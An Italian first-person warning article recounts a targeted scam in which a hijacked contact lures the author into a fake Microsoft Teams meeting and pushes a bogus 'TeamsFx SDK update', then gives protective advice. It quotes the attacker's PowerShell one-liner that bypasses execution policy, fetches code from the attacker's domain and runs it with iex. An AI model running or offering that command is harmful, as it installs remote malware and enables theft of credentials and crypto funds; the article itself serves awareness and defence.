Ho quasi subito un hack durante una chiamata Microsoft Teams: ecco come funziona la truffa

Lasciate che vi racconti come sono arrivato a pochi passi dall'essere vittima di un elaborato schema di ingegneria sociale progettato per sfruttare qualcosa di così routine e apparentemente innocuo come una chiamata Microsoft Teams oggi stesso. 

Per la maggior parte dell'interazione, nulla sembrava fuori dal comune. 

Qualcuno che credevo fosse un contatto del settore mi ha contattato per organizzare una riunione su Microsoft Teams, e la mia natura collaborativa era più che felice di partecipare alla chiamata. 

Spoiler alert: la persona dall'altra parte era un impostore e ha cercato di farmi eseguire codice malevolo sul mio computer. 

Racconto l'intera esperienza qui come avvertimento per amici, conoscenti e contemporanei nella comunità crypto e Web3. 

Oggi sono stato quasi io; domani potrebbe essere qualcun altro. 

Fase 1: L'allestimento — “Facciamo una chiamata per aggiornarci, vecchio amico” 

Quando ricevi un messaggio dall'account Telegram di qualcuno che conosci come un alto dirigente di un'agenzia di PR crypto ben nota, l'ultima cosa a cui pensi è che stai per essere trascinato in un setup di phishing. 

Nessuna delle tipiche bandiere rosse era immediatamente apparente. 

Non si trattava di un DM casuale. 

Non stavo parlando con un account impersonatore in cui la “i” è sostituita in modo sottile con una “l”. 

Avevo anche una cronologia delle chat con l'account, quindi pensavo di avere la persona reale dall'altra parte. 

Niente sembrava fuori posto, dal momento in cui hanno iniziato una conversazione completamente amichevole per ricucire i rapporti. Non molto tempo dopo, un link Calendly per prenotare una riunione di 30 minuti e un invito a una chiamata Microsoft Teams.

Come ho detto prima, il mio radar non si è mai attivato durante tutta l'interazione. Ho percepito lo stesso livello di professionalità e pazienza che mi sarei aspettato da un membro dello staff di alto rango di una top agency di PR. 

Tutto ciò che sapevo era che avevo programmato una riunione Teams dalla pagina Calendly di un contatto del settore.

Lo scammer avvia il contatto utilizzando un account hackerato, inviando un link di riunione Teams.

Fase 2: La trappola “Unisciti solo su Desktop” 

Il giorno della riunione è arrivato e ho cliccato il link della riunione Teams sul mio telefono, come ho fatto almeno un migliaio di volte in passato. Tuttavia, non sono entrato direttamente nella riunione come al solito. Invece di essere reindirizzato alla chiamata, è apparso uno schermo che affermava: “L'accesso a questa riunione tramite dispositivi mobili non è consentito a causa delle impostazioni dell'organizzatore.” 

“Oh no! Questo non mi era mai successo prima.” 

Beh, non è stato un incidente. 

A posteriori, quella è stata probabilmente la prima vera bandiera rossa. 

Lo schermo di errore fa parte del design. Gli scammer hanno bisogno che tu sia su un desktop o un laptop perché il loro payload malevolo è uno script a riga di comando che funziona solo sui PC.

L'URL nel browser “teams.livescalls.com” NON è il vero dominio Microsoft.

Le riunioni Teams legittime utilizzano teams.microsoft.com oppure teams.live.com.

Il dominio “livescalls.com” sembra abbastanza simile al vero da lontano, ma è molto lontano dalla realtà se lo si guarda da vicino. 

Uno è il sito controllato da Microsoft che vanta oltre 320 milioni di utenti attivi giornalieri. L'altro è un sito completamente falso controllato dagli attaccanti. 

Per essere giusti, alcune organizzazioni potrebbero utilizzare domini personalizzati per le loro riunioni di team. Tuttavia, oltre 1 bilione di dollari persi agli scammer nel 2025, secondo il World Economic Forum, è stato sufficiente motivo per non ignorare i miei sensi di allarme. 

La falsa pagina “Team Access Notice” blocca l'accesso da mobile, costringendo le vittime a utilizzare un desktop dove lo script malevolo può essere eseguito. Nota l'URL: teams.livescalls.com — non un dominio Microsoft.

Lo scammer spinge la vittima a unirsi su desktop dopo il blocco mobile, affermando che “i partner stanno aspettando”.

Fase 3: Il Payload — “Aggiorna il tuo TeamsFx SDK”

Una volta sul desktop, la falsa riunione Teams ha visualizzato una pagina dal design professionale che sembra qualcosa che vedresti nella documentazione ufficiale Microsoft. Includeva persino il linguaggio reale di Microsoft sull'SDK TeamsFx che sarebbe stato deprecato entro settembre 2025. 

La soluzione? Copia un blocco di codice ed eseguilo nel tuo terminale o Prompt dei comandi.

Se hai fatto il passo extra di una ricerca su Google, scoprirai che un SDK simile esiste davvero. Ma non ne hai bisogno per questa chiamata Teams. 

Il codice sembra innocuo all'inizio: imposta variabili di ambiente con nomi che suonano ufficiali come TeamsFx_API_KEY e MS_Teams_API_SECRET. Ma il vero vettore di attacco è nascosto da qualche parte nel mezzo, e questi attaccanti non contano sul fatto che tu individui il problema:

powershell -ep bypass -c “(iwr -Uri https://teams.livescalls.com/developer/sdk/update/version/085697307 -UserAgent ‘teamsdk’ -UseBasicParsing).Content | iex”

Questa singola riga aggira le politiche di sicurezza di PowerShell (-ep bypass), scarica il codice dal server dell'attaccante ed lo esegue immediatamente (iex = Invoke-Expression). 

E proprio così, qualsiasi malware, keylogger o strumento di accesso remoto che gli attaccanti hanno ospitato viene installato silenziosamente sul tuo dispositivo.

L'interfaccia falsa della riunione Teams che mostra la pagina malevola “Aggiornamento SDK TeamsFx” presentata ai partecipanti. Nota i partecipanti alla chiamata — video generati dall'IA.

Fase 4: La fase di pressione “Non preoccuparti, è sicuro”

Quando ho espresso esitazione sull'esecuzione dello script, l'impostore ha immediatamente fornito un mix di rassicurazione e pressione. 

La frase “Non preoccuparti, è molto semplice e sicura per te” doveva aiutarmi a seguire le istruzioni nello screenshot che mi mostrava come aprire il Prompt dei comandi sul mio PC. 

“I partner si sono già uniti su Zoom” doveva farmi sentire la pressione di non dover far cambiare piattaforma a tutti perché non ero riuscito a capire come eseguire un semplice Prompt dei comandi.

Non ero rassicurato. Né ero sotto pressione.

Quando ho suggerito di spostare la chiamata su Google Meet, hanno rifiutato. A quanto pare, il loro scam funziona solo attraverso la loro falsa configurazione Teams.

Lo scammer invia istruzioni passo-passo per eseguire il codice malevolo, rassicurando la vittima: “Non preoccuparti, è molto semplice e sicuro per te.”

Fase 5: Il bluff smascherato — Bloccato ed eliminato

Ho confermato i miei sospetti dopo aver controllato lo script e il dominio: stavo subendo un'ingegneria sociale e ero a pochi passi dall'entrare nelle statistiche del World Economic Forum del 2026. 

Ho detto allo scammer direttamente: “Ho appena controllato e questo comando e il sito web non sono legittimi. Purtroppo non potrò farlo.” Ho offerto di continuare la conversazione su Google Meet se volevano ancora chiacchierare.

“Ma la riunione è in corso ora”, è stato il messaggio dall'altra parte. 

Come previsto, la loro risposta mirava a farmi realizzare l'urgenza di unirsi alla chiamata. Dopo tutto, non volevo far aspettare troppo a lungo tutti quei partner.

Poco dopo, hanno eliminato l'intera corrispondenza e mi hanno bloccato. 

Ah… Questa non è solo una bandiera rossa. Parliamo di tonalità di cremisi. 

I contatti aziendali non eliminano l'intera cronologia delle conversazioni e ti bloccano nel momento in cui metti in dubbio un aggiornamento del software.

Dopo che lo scam viene smascherato, l'attaccante insiste sul fatto che la riunione è “in corso ora” prima di eliminare tutti i messaggi e bloccare la vittima.

Come proteggersi

Questo tipo di attacco è in aumento nei settori crypto, Web3 e tech. Gli scammer stanno compromettendo o impersonando account reali appartenenti a professionisti PR, investitori e responsabili di progetti per colpire individui di alto valore. Ecco come restare al sicuro:

• Non eseguire mai comandi da una pagina di riunione. Nessuna piattaforma di videochiamata legittima ti chiederà mai di incollare codice nel tuo terminale o nel Prompt dei comandi.
• Controlla l'URL. Le vere riunioni di Microsoft Teams si svolgono su teams.microsoft.com o teams.live.com — non su “teams.livescalls.com” o su altri domini simili.
• Sii sospettoso verso i requisiti “solo desktop”. Se una riunione blocca l'accesso da mobile, si tratta di una tattica deliberata per portarti su una macchina dove gli script possono essere eseguiti.
• Verifica la persona tramite un canale separato. Se un contatto noto ti invia un link di riunione insolito, chiamalo direttamente o invia un messaggio su una piattaforma diversa per confermare.
• Fai attenzione a “powershell -ep bypass” e “iex”. Questi sono i due maggiori segnali di allarme in qualsiasi script. Il primo disabilita la sicurezza, il secondo esegue il codice scaricato accecamente.
• Se hai già eseguito lo script: Disconnettiti immediatamente da Internet. Esegui una scansione completa del malware (Malwarebytes, Windows Defender Offline). Cambia tutte le password da un dispositivo diverso e pulito. Monitora i portafogli crittografici e i conti bancari per transazioni non autorizzate.

Perché questo è importante per Crypto e Web3

Non chiamerei questa una tipica interazione di phishing, dove gli attaccanti lanciano reti larghe e vedono cosa pescano. 

No, questa è stata un'operazione di ingegneria sociale mirata e di diversi giorni. Gli attaccanti hanno impersonato contemporanei del settore per giorni, costruendo un rapporto e preparando il terreno per guidarti casualmente a risolvere un problema tecnico su una chiamata Teams tramite una falsa pagina Microsoft convincente. 

Che rubino le tue credenziali, svuotino il tuo portafoglio crypto o installino malware di accesso remoto persistente, gli attaccanti hanno tutto da guadagnare e nulla da perdere. 

Se sei un fondatore, un investitore o chiunque partecipi a riunioni nel settore crypto e tech, condividi questo articolo con il tuo team. Le persone che gestiscono questi scam stanno diventando sempre più abili e l'unica difesa è la consapevolezza.